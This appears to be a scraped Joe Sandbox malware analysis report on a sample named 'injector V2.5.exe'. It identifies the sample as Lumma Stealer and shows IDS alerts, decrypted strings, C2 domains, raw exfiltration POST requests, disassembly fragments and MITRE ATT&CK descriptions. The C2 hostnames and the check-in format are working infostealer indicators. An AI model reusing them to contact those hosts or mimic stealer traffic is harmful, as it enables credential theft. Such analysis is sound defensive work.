Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: a2330c4953a6710867f3c41d4b5234be1d3c65fe3bd1fc86572a63473baf3f7a
Instruction ID: 8b11afee77661924a0d05a3521388727417116ef2c97fae35163a1d6175c0f07
Opcode Fuzzy Hash: a2330c4953a6710867f3c41d4b5234be1d3c65fe3bd1fc86572a63473baf3f7a
Instruction Fuzzy Hash: CF31D276480215EFCF2ADF50C8048EB7B27FF18354B18865AF9844B2A1CB32DDA1DB81

Function 006041C6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 006049EA
___raise_securityfailure.LIBCMT ref: 00604AD2

Part of subcall function 006059FC: RaiseException.KERNEL32(E06D7363,00000001,00000003,006049DE,BB40E64E,?,?,?,006049DE,?,00619B2C), ref: 00605A5C

Strings

%_, xrefs: 00604A55

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: %_
API String ID: 3749517692-631382970
Opcode ID: 0e3d6d179a09e30bba519ad8348dfedd156dc01c63e585738d9e71db806265f0
Instruction ID: f85d6b8b1c11415c8c93cfa59a8d61451f7e84eceb7d468a5bf8c7f90720e935
Opcode Fuzzy Hash: 0e3d6d179a09e30bba519ad8348dfedd156dc01c63e585738d9e71db806265f0
Instruction Fuzzy Hash: CF31AEB45842049EC704DF15FC567DE7BABBB08320F18E06BEA05C62E1EB70A594CF44

Function 00604241 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 006049EA
___raise_securityfailure.LIBCMT ref: 00604AD2

Strings

%_, xrefs: 00604A55

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: %_
API String ID: 3761405300-631382970
Opcode ID: 8944cf5af3df43d2aa7f003da42e420795e2719aa6954bfa02f38ce225e0c409
Instruction ID: 7ce6d8285f364d8de891ff801a156ceb78237b372abc1788304712c8d347365a
Opcode Fuzzy Hash: 8944cf5af3df43d2aa7f003da42e420795e2719aa6954bfa02f38ce225e0c409
Instruction Fuzzy Hash: 7021E0B55942009ED714CF15E9567997BE7BB48324F18F06BE509CB3B1E3B0A8A08F48

Function 006045A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00604533: __EH_prolog3_GS.LIBCMT ref: 0060453A

std::domain_error::domain_error.LIBCPMT ref: 006045EC

Part of subcall function 006043A4: std::exception::exception.LIBCONCRT ref: 006043BA

Strings

CD`, xrefs: 006045D7
CD`, xrefs: 006045B6, 006045C9

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: H_prolog3_std::domain_error::domain_errorstd::exception::exception
String ID: CD`$CD`
API String ID: 2144476180-1617366341
Opcode ID: 0bb5958aebd25c75ef795059527266947eb5c6619c0b64ad3013c3e3373e8862
Instruction ID: 9fc4a7262d7bf4f98f76d5520bb6271170cf9d2da23b0abeed1232c22c1929e3
Opcode Fuzzy Hash: 0bb5958aebd25c75ef795059527266947eb5c6619c0b64ad3013c3e3373e8862
Instruction Fuzzy Hash: 7C011EB0E00218ABCF18EF69D8458AFBBFAFF88704B50851EE81597341DB74DA15CB94

Source: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: revirepart.biz
Source: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -

Source: Network traffic	Suricata IDS: 2057646 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (revirepart .biz) : 192.168.2.4:61706 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057647 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (revirepart .biz in TLS SNI) : 192.168.2.4:49730 -> 104.21.43.198:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.43.198:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.43.198:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49738 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49732 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49742 -> 104.21.88.250:443

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.43.198:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.88.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 104.21.88.250:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: revirepart.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: frogs-severz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: frogs-severz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WMPPQDEMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18110Host: frogs-severz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GQRL7OYO3CXCHC5RQ4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8791Host: frogs-severz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=L77GLR83TIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20396Host: frogs-severz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=HDOQ1XHNTVIKDHFRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1261Host: frogs-severz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7TCT4MM8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1074Host: frogs-severz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 121Host: frogs-severz.sbs

Source: global traffic	DNS traffic detected: DNS query: revirepart.biz
Source: global traffic	DNS traffic detected: DNS query: frogs-severz.sbs

Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-4E0E29DCh]	2_2_004190D0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	2_2_0040B97E
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov edi, eax	2_2_00409AE0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+74h]	2_2_00409AE0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov byte ptr [edi], dl	2_2_0040DA8D
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	2_2_00442B00
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov byte ptr [edx], al	2_2_0042F3ED
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax+0000009Ch]	2_2_0042E398
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov byte ptr [edx], cl	2_2_0042EB98
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+74h]	2_2_0040AD50
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+28421CC0h]	2_2_00442530
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov ebx, esi	2_2_0040C5BE
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 5B126FE8h	2_2_004427D0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	2_2_0042D040
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov dl, EAh	2_2_00441860
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov ecx, eax	2_2_0042E06F
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+30h]	2_2_00407870
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then add eax, dword ptr [esp+edx*4+30h]	2_2_00407870
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov ebx, eax	2_2_00402820
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov byte ptr [eax], dl	2_2_0042D830
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov ecx, eax	2_2_0042E039
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+esi-3E780BCDh]	2_2_0042A0D5
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov ecx, eax	2_2_0042E007
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx]	2_2_0042B0FA
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+00000148h]	2_2_0040F096
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+00000148h]	2_2_0040F096
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov edi, esi	2_2_004068B0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], A2545BF7h	2_2_00442970
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov dl, EAh	2_2_00441930
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_004379E0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ebx+1Ch]	2_2_0040E1EC
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov word ptr [edx], di	2_2_0041FF7F
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	2_2_00425190
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0041DA40
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp dword ptr [ecx+esi*8], 4F699CD4h	2_2_00443260
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov di, 0008h	2_2_00404A31
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx edx, byte ptr [eax]	2_2_0043DAC0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+30h]	2_2_0041E2F0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov byte ptr [ecx], al	2_2_0041E2F0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_0042CAB0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx]	2_2_0042B340
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov word ptr [ebx], cx	2_2_0041EFF5
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp word ptr [ebp+eax+02h], 0000h	2_2_0041EFF5
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then push ebx	2_2_0040C303
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov ecx, eax	2_2_0041BB10
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp word ptr [edx+ecx+02h], 0000h	2_2_0041FB20
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov word ptr [ecx], dx	2_2_0041FB20
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov ecx, eax	2_2_00426BD0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+eax-00000880h]	2_2_00426BD0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx esi, word ptr [edi]	2_2_00426BD0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov edx, ecx	2_2_00426BD0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	2_2_0042D4A0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+2C0C617Eh]	2_2_0041DD48
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx edx, byte ptr [esi+eax+00000404h]	2_2_0042FD65
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov edi, eax	2_2_0042FD65
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov edx, ecx	2_2_00426510
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov esi, ecx	2_2_00429520
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0040CE52
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx esi, byte ptr [ebx+ecx-18254539h]	2_2_0040CE52
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov ecx, eax	2_2_00426E00
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+eax-00000880h]	2_2_00426E00
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx esi, word ptr [edi]	2_2_00426E00
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov edx, ecx	2_2_00426E00
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov byte ptr [ecx], dl	2_2_0042DE10
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov eax, edi	2_2_0041F6E0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov ebx, ecx	2_2_0041F6E0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-6032535Eh]	2_2_004296F4
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov ecx, eax	2_2_00426F70
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+eax-00000880h]	2_2_00426F70
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx esi, word ptr [edi]	2_2_00426F70
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov edx, ecx	2_2_00426F70
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov word ptr [edx], di	2_2_0041FF7F
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then lea ecx, dword ptr [esp+00000A28h]	2_2_0040E714
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov edx, ecx	2_2_0041C7C9
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 1B6183F2h	2_2_0040E7D9
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then mov word ptr [ebx], cx	2_2_0041EFF5
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then cmp word ptr [ebp+eax+02h], 0000h	2_2_0041EFF5
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax+0000009Ch]	2_2_0042EF87
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-000000D3h]	2_2_0041BFB6

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
